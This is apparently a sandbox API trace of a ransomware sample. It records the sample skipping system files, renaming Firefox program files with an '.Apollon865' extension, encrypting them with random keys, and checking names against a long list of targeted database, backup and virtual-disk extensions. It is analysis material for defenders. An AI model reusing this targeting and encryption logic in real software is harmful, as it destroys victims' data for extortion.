	[0052.684] lstrcmpiW (lpString1="plugin-container.exe", lpString2=".ini") returned 1
	[0052.684] lstrlenW (lpString=".sys") returned 4
	[0052.684] lstrcmpiW (lpString1="plugin-container.exe", lpString2=".sys") returned 1
	[0052.684] lstrlenW (lpString="plugin-container.exe") returned 20
	[0052.684] lstrcpyW (in: lpString1=0x2d3e59e, lpString2="plugin-hang-ui.exe" | out: lpString1="plugin-hang-ui.exe") returned="plugin-hang-ui.exe"
	[0052.684] lstrlenW (lpString="plugin-hang-ui.exe") returned 18
	[0052.684] lstrlenW (lpString="Apollon865") returned 10
	[0052.684] lstrcmpiW (lpString1="ang-ui.exe", lpString2="Apollon865") returned -1
	[0052.684] lstrlenW (lpString=".dll") returned 4
	[0052.684] lstrcmpiW (lpString1="plugin-hang-ui.exe", lpString2=".dll") returned 1
	[0052.684] lstrlenW (lpString=".lnk") returned 4
	[0052.684] lstrcmpiW (lpString1="plugin-hang-ui.exe", lpString2=".lnk") returned 1
	[0052.684] lstrlenW (lpString=".ini") returned 4
	[0052.684] lstrcmpiW (lpString1="plugin-hang-ui.exe", lpString2=".ini") returned 1
	[0052.684] lstrlenW (lpString=".sys") returned 4
	[0052.684] lstrcmpiW (lpString1="plugin-hang-ui.exe", lpString2=".sys") returned 1
	[0052.684] lstrlenW (lpString="plugin-hang-ui.exe") returned 18
	[0052.684] lstrcpyW (in: lpString1=0x2d3e59e, lpString2="precomplete" | out: lpString1="precomplete") returned="precomplete"
	[0052.684] lstrlenW (lpString="precomplete") returned 11
	[0052.684] lstrlenW (lpString="Apollon865") returned 10
	[0052.685] lstrcmpiW (lpString1="recomplete", lpString2="Apollon865") returned 1
	[0052.685] lstrlenW (lpString=".dll") returned 4
	[0052.685] lstrcmpiW (lpString1="precomplete", lpString2=".dll") returned 1
	[0052.685] lstrlenW (lpString=".lnk") returned 4
	[0052.685] lstrcmpiW (lpString1="precomplete", lpString2=".lnk") returned 1
	[0052.685] lstrlenW (lpString=".ini") returned 4
	[0052.685] lstrcmpiW (lpString1="precomplete", lpString2=".ini") returned 1
	[0052.685] lstrlenW (lpString=".sys") returned 4
	[0052.685] lstrcmpiW (lpString1="precomplete", lpString2=".sys") returned 1
	[0052.685] lstrlenW (lpString="precomplete") returned 11
	[0052.685] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Mozilla Firefox\\precomplete.Apollon865") returned 61
	[0052.685] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Mozilla Firefox\\precomplete" (normalized: "c:\\program files (x86)\\mozilla firefox\\precomplete"), lpNewFileName="C:\\Program Files (x86)\\Mozilla Firefox\\precomplete.Apollon865" (normalized: "c:\\program files (x86)\\mozilla firefox\\precomplete.apollon865"), dwFlags=0x1) returned 1
	[0052.694] CreateFileW (lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\precomplete.Apollon865" (normalized: "c:\\program files (x86)\\mozilla firefox\\precomplete.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0052.694] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=2019) returned 1
	[0052.694] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0052.694] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0052.694] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf568
	[0052.694] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf898) returned 1
	[0052.695] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0052.695] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0052.695] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xaf0, lpName=0x0) returned 0x118
	[0052.697] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xaf0) returned 0x100000
	[0052.698] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf898) returned 1
	[0052.699] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0052.699] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0052.699] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0052.699] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0052.699] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0052.699] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0052.699] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0052.699] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0052.699] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5afa60
	[0052.699] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0052.699] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5afa60 | out: hHeap=0x580000) returned 1
	[0052.700] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0052.700] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0052.700] CloseHandle (hObject=0x118) returned 1
	[0052.700] CloseHandle (hObject=0x15c) returned 1
	[0052.700] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0052.700] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf568 | out: hHeap=0x580000) returned 1
	[0052.700] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0052.700] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf1314a0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf1314a0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x13c55480, ftLastWriteTime.dwHighDateTime=0x1ced1dd, nFileSizeHigh=0x0, nFileSizeLow=0x8f3b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="removed-files", cAlternateFileName="REMOVE~1")) returned 1
	[0052.700] lstrcmpiW (lpString1="removed-files", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0052.700] lstrcmpiW (lpString1="removed-files", lpString2="Apollon865.txt.exe") returned 1
	[0052.700] lstrcmpiW (lpString1="removed-files", lpString2=".") returned 1
	[0052.700] lstrcmpiW (lpString1="removed-files", lpString2="..") returned 1
	[0052.700] lstrcmpiW (lpString1="removed-files", lpString2="windows") returned -1
	[0052.700] lstrcmpiW (lpString1="removed-files", lpString2="bootmgr") returned 1
	[0052.700] lstrcmpiW (lpString1="removed-files", lpString2="temp") returned -1
	[0052.700] lstrcmpiW (lpString1="removed-files", lpString2="pagefile.sys") returned 1
	[0052.700] lstrcmpiW (lpString1="removed-files", lpString2="boot") returned 1
	[0052.700] lstrcmpiW (lpString1="removed-files", lpString2="ids.txt") returned 1
	[0052.700] lstrcmpiW (lpString1="removed-files", lpString2="ntuser.dat") returned 1
	[0052.700] lstrcmpiW (lpString1="removed-files", lpString2="perflogs") returned 1
	[0052.700] lstrcmpiW (lpString1="removed-files", lpString2="MSBuild") returned 1
	[0052.700] lstrlenW (lpString="removed-files") returned 13
	[0052.700] lstrlenW (lpString="C:\\Program Files (x86)\\Mozilla Firefox\\precomplete") returned 50
	[0052.701] lstrcpyW (in: lpString1=0x2d3e59e, lpString2="removed-files" | out: lpString1="removed-files") returned="removed-files"
	[0052.701] lstrlenW (lpString="removed-files") returned 13
	[0052.701] lstrlenW (lpString="Apollon865") returned 10
	[0052.701] lstrcmpiW (lpString1="oved-files", lpString2="Apollon865") returned 1
	[0052.701] lstrlenW (lpString=".dll") returned 4
	[0052.701] lstrcmpiW (lpString1="removed-files", lpString2=".dll") returned 1
	[0052.701] lstrlenW (lpString=".lnk") returned 4
	[0052.701] lstrcmpiW (lpString1="removed-files", lpString2=".lnk") returned 1
	[0052.701] lstrlenW (lpString=".ini") returned 4
	[0052.701] lstrcmpiW (lpString1="removed-files", lpString2=".ini") returned 1
	[0052.701] lstrlenW (lpString=".sys") returned 4
	[0052.701] lstrcmpiW (lpString1="removed-files", lpString2=".sys") returned 1
	[0052.701] lstrlenW (lpString="removed-files") returned 13
	[0052.701] lstrlenW (lpString="bak") returned 3
	[0052.701] lstrcmpiW (lpString1="les", lpString2="bak") returned 1
	[0052.701] lstrlenW (lpString="ba_") returned 3
	[0052.701] lstrcmpiW (lpString1="les", lpString2="ba_") returned 1
	[0052.701] lstrlenW (lpString="dbb") returned 3
	[0052.701] lstrcmpiW (lpString1="les", lpString2="dbb") returned 1
	[0052.701] lstrlenW (lpString="vmdk") returned 4
	[0052.701] lstrcmpiW (lpString1="iles", lpString2="vmdk") returned -1
	[0052.701] lstrlenW (lpString="rar") returned 3
	[0052.701] lstrcmpiW (lpString1="les", lpString2="rar") returned -1
	[0052.701] lstrlenW (lpString="zip") returned 3
	[0052.701] lstrcmpiW (lpString1="les", lpString2="zip") returned -1
	[0052.701] lstrlenW (lpString="tgz") returned 3
	[0052.701] lstrcmpiW (lpString1="les", lpString2="tgz") returned -1
	[0052.701] lstrlenW (lpString="vbox") returned 4
	[0052.701] lstrcmpiW (lpString1="iles", lpString2="vbox") returned -1
	[0052.701] lstrlenW (lpString="vdi") returned 3
	[0052.701] lstrcmpiW (lpString1="les", lpString2="vdi") returned -1
	[0052.701] lstrlenW (lpString="vhd") returned 3
	[0052.701] lstrcmpiW (lpString1="les", lpString2="vhd") returned -1
	[0052.701] lstrlenW (lpString="vhdx") returned 4
	[0052.701] lstrcmpiW (lpString1="iles", lpString2="vhdx") returned -1
	[0052.702] lstrlenW (lpString="avhd") returned 4
	[0052.702] lstrcmpiW (lpString1="iles", lpString2="avhd") returned 1
	[0052.702] lstrlenW (lpString="db") returned 2
	[0052.702] lstrcmpiW (lpString1="es", lpString2="db") returned 1
	[0052.702] lstrlenW (lpString="db2") returned 3
	[0052.702] lstrcmpiW (lpString1="les", lpString2="db2") returned 1
	[0052.702] lstrlenW (lpString="db3") returned 3
	[0052.702] lstrcmpiW (lpString1="les", lpString2="db3") returned 1
	[0052.702] lstrlenW (lpString="dbf") returned 3
	[0052.702] lstrcmpiW (lpString1="les", lpString2="dbf") returned 1
	[0052.702] lstrlenW (lpString="mdf") returned 3
	[0052.702] lstrcmpiW (lpString1="les", lpString2="mdf") returned -1
	[0052.702] lstrlenW (lpString="mdb") returned 3
	[0052.702] lstrcmpiW (lpString1="les", lpString2="mdb") returned -1
	[0052.702] lstrlenW (lpString="sql") returned 3
	[0052.702] lstrcmpiW (lpString1="les", lpString2="sql") returned -1
	[0052.702] lstrlenW (lpString="sqlite") returned 6
	[0052.702] lstrcmpiW (lpString1="-files", lpString2="sqlite") returned -1
	[0052.702] lstrlenW (lpString="sqlite3") returned 7
	[0052.702] lstrcmpiW (lpString1="d-files", lpString2="sqlite3") returned -1
	[0052.702] lstrlenW (lpString="sqlitedb") returned 8
	[0052.702] lstrcmpiW (lpString1="ed-files", lpString2="sqlitedb") returned -1
	[0052.702] lstrlenW (lpString="xml") returned 3
	[0052.702] lstrcmpiW (lpString1="les", lpString2="xml") returned -1
	[0052.702] lstrlenW (lpString="$er") returned 3
	[0052.702] lstrcmpiW (lpString1="les", lpString2="$er") returned 1
	[0052.702] lstrlenW (lpString="4dd") returned 3
	[0052.702] lstrcmpiW (lpString1="les", lpString2="4dd") returned 1
	[0052.702] lstrlenW (lpString="4dl") returned 3
	[0052.702] lstrcmpiW (lpString1="les", lpString2="4dl") returned 1
	[0052.702] lstrlenW (lpString="^^^") returned 3
	[0052.702] lstrcmpiW (lpString1="les", lpString2="^^^") returned 1
	[0052.702] lstrlenW (lpString="abs") returned 3
	[0052.703] lstrcmpiW (lpString1="les", lpString2="abs") returned 1
	[0052.703] lstrlenW (lpString="abx") returned 3
	[0052.703] lstrcmpiW (lpString1="les", lpString2="abx") returned 1
	[0052.703] lstrlenW (lpString="accdb") returned 5
	[0052.703] lstrcmpiW (lpString1="files", lpString2="accdb") returned 1
	[0052.703] lstrlenW (lpString="accdc") returned 5
	[0052.703] lstrcmpiW (lpString1="files", lpString2="accdc") returned 1
	[0052.703] lstrlenW (lpString="accde") returned 5
	[0052.703] lstrcmpiW (lpString1="files", lpString2="accde") returned 1
	[0052.703] lstrlenW (lpString="accdr") returned 5
	[0052.703] lstrcmpiW (lpString1="files", lpString2="accdr") returned 1
	[0052.703] lstrlenW (lpString="accdt") returned 5
	[0052.703] lstrcmpiW (lpString1="files", lpString2="accdt") returned 1
	[0052.703] lstrlenW (lpString="accdw") returned 5
	[0052.703] lstrcmpiW (lpString1="files", lpString2="accdw") returned 1
	[0052.703] lstrlenW (lpString="accft") returned 5
	[0052.703] lstrcmpiW (lpString1="files", lpString2="accft") returned 1
	[0052.703] lstrlenW (lpString="adb") returned 3
	[0052.703] lstrcmpiW (lpString1="les", lpString2="adb") returned 1
	[0052.703] lstrlenW (lpString="adb") returned 3
	[0052.703] lstrcmpiW (lpString1="les", lpString2="adb") returned 1
	[0052.703] lstrlenW (lpString="ade") returned 3
	[0052.703] lstrcmpiW (lpString1="les", lpString2="ade") returned 1
	[0052.703] lstrlenW (lpString="adf") returned 3
	[0052.703] lstrcmpiW (lpString1="les", lpString2="adf") returned 1
	[0052.703] lstrlenW (lpString="adn") returned 3
	[0052.703] lstrcmpiW (lpString1="les", lpString2="adn") returned 1
	[0052.703] lstrlenW (lpString="adp") returned 3
	[0052.703] lstrcmpiW (lpString1="les", lpString2="adp") returned 1
	[0052.703] lstrlenW (lpString="alf") returned 3
	[0052.703] lstrcmpiW (lpString1="les", lpString2="alf") returned 1
	[0052.703] lstrlenW (lpString="ask") returned 3
	[0052.703] lstrcmpiW (lpString1="les", lpString2="ask") returned 1
	[0052.703] lstrlenW (lpString="btr") returned 3
	[0052.703] lstrcmpiW (lpString1="les", lpString2="btr") returned 1
	[0052.704] lstrlenW (lpString="cat") returned 3
	[0052.704] lstrcmpiW (lpString1="les", lpString2="cat") returned 1
	[0052.704] lstrlenW (lpString="cdb") returned 3
	[0052.704] lstrcmpiW (lpString1="les", lpString2="cdb") returned 1
	[0052.704] lstrlenW (lpString="ckp") returned 3
	[0052.704] lstrcmpiW (lpString1="les", lpString2="ckp") returned 1
	[0052.704] lstrlenW (lpString="cma") returned 3
	[0052.704] lstrcmpiW (lpString1="les", lpString2="cma") returned 1
	[0052.704] lstrlenW (lpString="cpd") returned 3
	[0052.704] lstrcmpiW (lpString1="les", lpString2="cpd") returned 1
	[0052.704] lstrlenW (lpString="dacpac") returned 6
	[0052.704] lstrcmpiW (lpString1="-files", lpString2="dacpac") returned 1
	[0052.704] lstrlenW (lpString="dad") returned 3
	[0052.704] lstrcmpiW (lpString1="les", lpString2="dad") returned 1
	[0052.704] lstrlenW (lpString="dadiagrams") returned 10
	[0052.704] lstrcmpiW (lpString1="oved-files", lpString2="dadiagrams") returned 1
	[0052.704] lstrlenW (lpString="daschema") returned 8
	[0052.704] lstrcmpiW (lpString1="ed-files", lpString2="daschema") returned 1
	[0052.704] lstrlenW (lpString="db-journal") returned 10
	[0052.704] lstrcmpiW (lpString1="oved-files", lpString2="db-journal") returned 1
	[0052.704] lstrlenW (lpString="db-shm") returned 6
	[0052.704] lstrcmpiW (lpString1="-files", lpString2="db-shm") returned 1
	[0052.704] lstrlenW (lpString="db-wal") returned 6
	[0052.704] lstrcmpiW (lpString1="-files", lpString2="db-wal") returned 1
	[0052.704] lstrlenW (lpString="dbc") returned 3
	[0052.704] lstrcmpiW (lpString1="les", lpString2="dbc") returned 1
	[0052.704] lstrlenW (lpString="dbs") returned 3
	[0052.704] lstrcmpiW (lpString1="les", lpString2="dbs") returned 1
	[0052.704] lstrlenW (lpString="dbt") returned 3
	[0052.704] lstrcmpiW (lpString1="les", lpString2="dbt") returned 1
	[0052.704] lstrlenW (lpString="dbv") returned 3
	[0052.704] lstrcmpiW (lpString1="les", lpString2="dbv") returned 1
	[0052.704] lstrlenW (lpString="dbx") returned 3
	[0052.704] lstrcmpiW (lpString1="les", lpString2="dbx") returned 1
	[0052.704] lstrlenW (lpString="dcb") returned 3
	[0052.705] lstrcmpiW (lpString1="les", lpString2="dcb") returned 1
	[0052.705] lstrlenW (lpString="dct") returned 3
	[0052.705] lstrcmpiW (lpString1="les", lpString2="dct") returned 1
	[0052.705] lstrlenW (lpString="dcx") returned 3
	[0052.705] lstrcmpiW (lpString1="les", lpString2="dcx") returned 1
	[0052.705] lstrlenW (lpString="ddl") returned 3
	[0052.705] lstrcmpiW (lpString1="les", lpString2="ddl") returned 1
	[0052.705] lstrlenW (lpString="dlis") returned 4
	[0052.705] lstrcmpiW (lpString1="iles", lpString2="dlis") returned 1
	[0052.705] lstrlenW (lpString="dp1") returned 3
	[0052.705] lstrcmpiW (lpString1="les", lpString2="dp1") returned 1
	[0052.705] lstrlenW (lpString="dqy") returned 3
	[0052.705] lstrcmpiW (lpString1="les", lpString2="dqy") returned 1
	[0052.705] lstrlenW (lpString="dsk") returned 3
	[0052.705] lstrcmpiW (lpString1="les", lpString2="dsk") returned 1
	[0052.705] lstrlenW (lpString="dsn") returned 3
	[0052.705] lstrcmpiW (lpString1="les", lpString2="dsn") returned 1
	[0052.705] lstrlenW (lpString="dtsx") returned 4
	[0052.705] lstrcmpiW (lpString1="iles", lpString2="dtsx") returned 1
	[0052.705] lstrlenW (lpString="dxl") returned 3
	[0052.705] lstrcmpiW (lpString1="les", lpString2="dxl") returned 1
	[0052.705] lstrlenW (lpString="eco") returned 3
	[0052.705] lstrcmpiW (lpString1="les", lpString2="eco") returned 1
	[0052.705] lstrlenW (lpString="ecx") returned 3
	[0052.705] lstrcmpiW (lpString1="les", lpString2="ecx") returned 1
	[0052.705] lstrlenW (lpString="edb") returned 3
	[0052.705] lstrcmpiW (lpString1="les", lpString2="edb") returned 1
	[0052.705] lstrlenW (lpString="epim") returned 4
	[0052.705] lstrcmpiW (lpString1="iles", lpString2="epim") returned 1
	[0052.705] lstrlenW (lpString="fcd") returned 3
	[0052.705] lstrcmpiW (lpString1="les", lpString2="fcd") returned 1
	[0052.705] lstrlenW (lpString="fdb") returned 3
	[0052.706] lstrcmpiW (lpString1="les", lpString2="fdb") returned 1
	[0052.706] lstrlenW (lpString="fic") returned 3
	[0052.706] lstrcmpiW (lpString1="les", lpString2="fic") returned 1
	[0052.706] lstrlenW (lpString="flexolibrary") returned 12
	[0052.706] lstrcmpiW (lpString1="emoved-files", lpString2="flexolibrary") returned -1
	[0052.706] lstrlenW (lpString="fm5") returned 3
	[0052.706] lstrcmpiW (lpString1="les", lpString2="fm5") returned 1
	[0052.706] lstrlenW (lpString="fmp") returned 3
	[0052.706] lstrcmpiW (lpString1="les", lpString2="fmp") returned 1
	[0052.706] lstrlenW (lpString="fmp12") returned 5
	[0052.706] lstrcmpiW (lpString1="files", lpString2="fmp12") returned -1
	[0052.706] lstrlenW (lpString="fmpsl") returned 5
	[0052.706] lstrcmpiW (lpString1="files", lpString2="fmpsl") returned -1
	[0052.706] lstrlenW (lpString="fol") returned 3
	[0052.706] lstrcmpiW (lpString1="les", lpString2="fol") returned 1
	[0052.706] lstrlenW (lpString="fp3") returned 3
	[0052.706] lstrcmpiW (lpString1="les", lpString2="fp3") returned 1
	[0052.706] lstrlenW (lpString="fp4") returned 3
	[0052.706] lstrcmpiW (lpString1="les", lpString2="fp4") returned 1
	[0052.706] lstrlenW (lpString="fp5") returned 3
	[0052.706] lstrcmpiW (lpString1="les", lpString2="fp5") returned 1
	[0052.706] lstrlenW (lpString="fp7") returned 3
	[0052.706] lstrcmpiW (lpString1="les", lpString2="fp7") returned 1
	[0052.706] lstrlenW (lpString="fpt") returned 3
	[0052.706] lstrcmpiW (lpString1="les", lpString2="fpt") returned 1
	[0052.706] lstrlenW (lpString="frm") returned 3
	[0052.706] lstrcmpiW (lpString1="les", lpString2="frm") returned 1
	[0052.706] lstrlenW (lpString="gdb") returned 3
	[0052.706] lstrcmpiW (lpString1="les", lpString2="gdb") returned 1
	[0052.706] lstrlenW (lpString="gdb") returned 3
	[0052.706] lstrcmpiW (lpString1="les", lpString2="gdb") returned 1
	[0052.706] lstrlenW (lpString="grdb") returned 4
	[0052.706] lstrcmpiW (lpString1="iles", lpString2="grdb") returned 1
	[0052.706] lstrlenW (lpString="gwi") returned 3
	[0052.706] lstrcmpiW (lpString1="les", lpString2="gwi") returned 1
	[0052.707] lstrlenW (lpString="hdb") returned 3
	[0052.707] lstrcmpiW (lpString1="les", lpString2="hdb") returned 1
	[0052.707] lstrlenW (lpString="his") returned 3
	[0052.707] lstrcmpiW (lpString1="les", lpString2="his") returned 1
	[0052.707] lstrlenW (lpString="ib") returned 2
	[0052.707] lstrcmpiW (lpString1="es", lpString2="ib") returned -1
	[0052.707] lstrlenW (lpString="idb") returned 3
	[0052.707] lstrcmpiW (lpString1="les", lpString2="idb") returned 1
	[0052.707] lstrlenW (lpString="ihx") returned 3
	[0052.707] lstrcmpiW (lpString1="les", lpString2="ihx") returned 1
	[0052.707] lstrlenW (lpString="itdb") returned 4
	[0052.707] lstrcmpiW (lpString1="iles", lpString2="itdb") returned -1
	[0052.707] lstrlenW (lpString="itw") returned 3
	[0052.707] lstrcmpiW (lpString1="les", lpString2="itw") returned 1
	[0052.707] lstrlenW (lpString="jet") returned 3
	[0052.707] lstrcmpiW (lpString1="les", lpString2="jet") returned 1
	[0052.707] lstrlenW (lpString="jtx") returned 3
	[0052.707] lstrcmpiW (lpString1="les", lpString2="jtx") returned 1
	[0052.707] lstrlenW (lpString="kdb") returned 3
	[0052.707] lstrcmpiW (lpString1="les", lpString2="kdb") returned 1
	[0052.707] lstrlenW (lpString="kexi") returned 4
	[0052.707] lstrcmpiW (lpString1="iles", lpString2="kexi") returned -1
	[0052.707] lstrlenW (lpString="kexic") returned 5
	[0052.707] lstrcmpiW (lpString1="files", lpString2="kexic") returned -1
	[0052.707] lstrlenW (lpString="kexis") returned 5
	[0052.707] lstrcmpiW (lpString1="files", lpString2="kexis") returned -1
	[0052.707] lstrlenW (lpString="lgc") returned 3
	[0052.707] lstrcmpiW (lpString1="les", lpString2="lgc") returned -1
	[0052.707] lstrlenW (lpString="lwx") returned 3
	[0052.707] lstrcmpiW (lpString1="les", lpString2="lwx") returned -1
	[0052.707] lstrlenW (lpString="maf") returned 3
	[0052.707] lstrcmpiW (lpString1="les", lpString2="maf") returned -1
	[0052.707] lstrlenW (lpString="maq") returned 3
	[0052.707] lstrcmpiW (lpString1="les", lpString2="maq") returned -1
	[0052.707] lstrlenW (lpString="mar") returned 3
	[0052.707] lstrcmpiW (lpString1="les", lpString2="mar") returned -1
	[0052.708] lstrlenW (lpString="marshal") returned 7
	[0052.708] lstrcmpiW (lpString1="d-files", lpString2="marshal") returned -1
	[0052.708] lstrlenW (lpString="mas") returned 3
	[0052.708] lstrcmpiW (lpString1="les", lpString2="mas") returned -1
	[0052.708] lstrlenW (lpString="mav") returned 3
	[0052.708] lstrcmpiW (lpString1="les", lpString2="mav") returned -1
	[0052.708] lstrlenW (lpString="maw") returned 3
	[0052.708] lstrcmpiW (lpString1="les", lpString2="maw") returned -1
	[0052.708] lstrlenW (lpString="mdbhtml") returned 7
	[0052.708] lstrcmpiW (lpString1="d-files", lpString2="mdbhtml") returned -1
	[0052.708] lstrlenW (lpString="mdn") returned 3
	[0052.708] lstrcmpiW (lpString1="les", lpString2="mdn") returned -1
	[0052.708] lstrlenW (lpString="mdt") returned 3
	[0052.708] lstrcmpiW (lpString1="les", lpString2="mdt") returned -1
	[0052.708] lstrlenW (lpString="mfd") returned 3
	[0052.708] lstrcmpiW (lpString1="les", lpString2="mfd") returned -1
	[0052.708] lstrlenW (lpString="mpd") returned 3
	[0052.708] lstrcmpiW (lpString1="les", lpString2="mpd") returned -1
	[0052.708] lstrlenW (lpString="mrg") returned 3
	[0052.708] lstrcmpiW (lpString1="les", lpString2="mrg") returned -1
	[0052.708] lstrlenW (lpString="mud") returned 3
	[0052.708] lstrcmpiW (lpString1="les", lpString2="mud") returned -1
	[0052.708] lstrlenW (lpString="mwb") returned 3
	[0052.708] lstrcmpiW (lpString1="les", lpString2="mwb") returned -1
	[0052.708] lstrlenW (lpString="myd") returned 3
	[0052.708] lstrcmpiW (lpString1="les", lpString2="myd") returned -1
	[0052.708] lstrlenW (lpString="ndf") returned 3
	[0052.708] lstrcmpiW (lpString1="les", lpString2="ndf") returned -1
	[0052.708] lstrlenW (lpString="nnt") returned 3
	[0052.708] lstrcmpiW (lpString1="les", lpString2="nnt") returned -1
	[0052.708] lstrlenW (lpString="nrmlib") returned 6
	[0052.708] lstrcmpiW (lpString1="-files", lpString2="nrmlib") returned -1
	[0052.708] lstrlenW (lpString="ns2") returned 3
	[0052.708] lstrcmpiW (lpString1="les", lpString2="ns2") returned -1
	[0052.708] lstrlenW (lpString="ns3") returned 3
	[0052.708] lstrcmpiW (lpString1="les", lpString2="ns3") returned -1
	[0052.709] lstrlenW (lpString="ns4") returned 3
	[0052.709] lstrcmpiW (lpString1="les", lpString2="ns4") returned -1
	[0052.709] lstrlenW (lpString="nsf") returned 3
	[0052.709] lstrcmpiW (lpString1="les", lpString2="nsf") returned -1
	[0052.709] lstrlenW (lpString="nv") returned 2
	[0052.709] lstrcmpiW (lpString1="es", lpString2="nv") returned -1
	[0052.709] lstrlenW (lpString="nv2") returned 3
	[0052.709] lstrcmpiW (lpString1="les", lpString2="nv2") returned -1
	[0052.709] lstrlenW (lpString="nwdb") returned 4
	[0052.709] lstrcmpiW (lpString1="iles", lpString2="nwdb") returned -1
	[0052.709] lstrlenW (lpString="nyf") returned 3
	[0052.709] lstrcmpiW (lpString1="les", lpString2="nyf") returned -1
	[0052.709] lstrlenW (lpString="odb") returned 3
	[0052.709] lstrcmpiW (lpString1="les", lpString2="odb") returned -1
	[0052.709] lstrlenW (lpString="odb") returned 3
	[0052.709] lstrcmpiW (lpString1="les", lpString2="odb") returned -1
	[0052.709] lstrlenW (lpString="oqy") returned 3
	[0052.709] lstrcmpiW (lpString1="les", lpString2="oqy") returned -1
	[0052.709] lstrlenW (lpString="ora") returned 3
	[0052.709] lstrcmpiW (lpString1="les", lpString2="ora") returned -1
	[0052.709] lstrlenW (lpString="orx") returned 3
	[0052.709] lstrcmpiW (lpString1="les", lpString2="orx") returned -1
	[0052.709] lstrlenW (lpString="owc") returned 3
	[0052.709] lstrcmpiW (lpString1="les", lpString2="owc") returned -1
	[0052.709] lstrlenW (lpString="p96") returned 3
	[0052.709] lstrcmpiW (lpString1="les", lpString2="p96") returned -1
	[0052.709] lstrlenW (lpString="p97") returned 3
	[0052.709] lstrcmpiW (lpString1="les", lpString2="p97") returned -1
	[0052.709] lstrlenW (lpString="pan") returned 3
	[0052.709] lstrcmpiW (lpString1="les", lpString2="pan") returned -1
	[0052.709] lstrlenW (lpString="pdb") returned 3
	[0052.709] lstrcmpiW (lpString1="les", lpString2="pdb") returned -1
	[0052.709] lstrlenW (lpString="pdm") returned 3
	[0052.709] lstrcmpiW (lpString1="les", lpString2="pdm") returned -1
	[0052.709] lstrlenW (lpString="pnz") returned 3
	[0052.710] lstrcmpiW (lpString1="les", lpString2="pnz") returned -1
	[0052.710] lstrlenW (lpString="qry") returned 3
	[0052.710] lstrcmpiW (lpString1="les", lpString2="qry") returned -1
	[0052.710] lstrlenW (lpString="qvd") returned 3
	[0052.710] lstrcmpiW (lpString1="les", lpString2="qvd") returned -1
	[0052.710] lstrlenW (lpString="rbf") returned 3
	[0052.710] lstrcmpiW (lpString1="les", lpString2="rbf") returned -1
	[0052.710] lstrlenW (lpString="rctd") returned 4
	[0052.710] lstrcmpiW (lpString1="iles", lpString2="rctd") returned -1
	[0052.710] lstrlenW (lpString="rod") returned 3
	[0052.710] lstrcmpiW (lpString1="les", lpString2="rod") returned -1
	[0052.710] lstrlenW (lpString="rodx") returned 4
	[0052.710] lstrcmpiW (lpString1="iles", lpString2="rodx") returned -1
	[0052.710] lstrlenW (lpString="rpd") returned 3
	[0052.710] lstrcmpiW (lpString1="les", lpString2="rpd") returned -1
	[0052.710] lstrlenW (lpString="rsd") returned 3
	[0052.710] lstrcmpiW (lpString1="les", lpString2="rsd") returned -1
	[0052.710] lstrlenW (lpString="sas7bdat") returned 8
	[0052.710] lstrcmpiW (lpString1="ed-files", lpString2="sas7bdat") returned -1
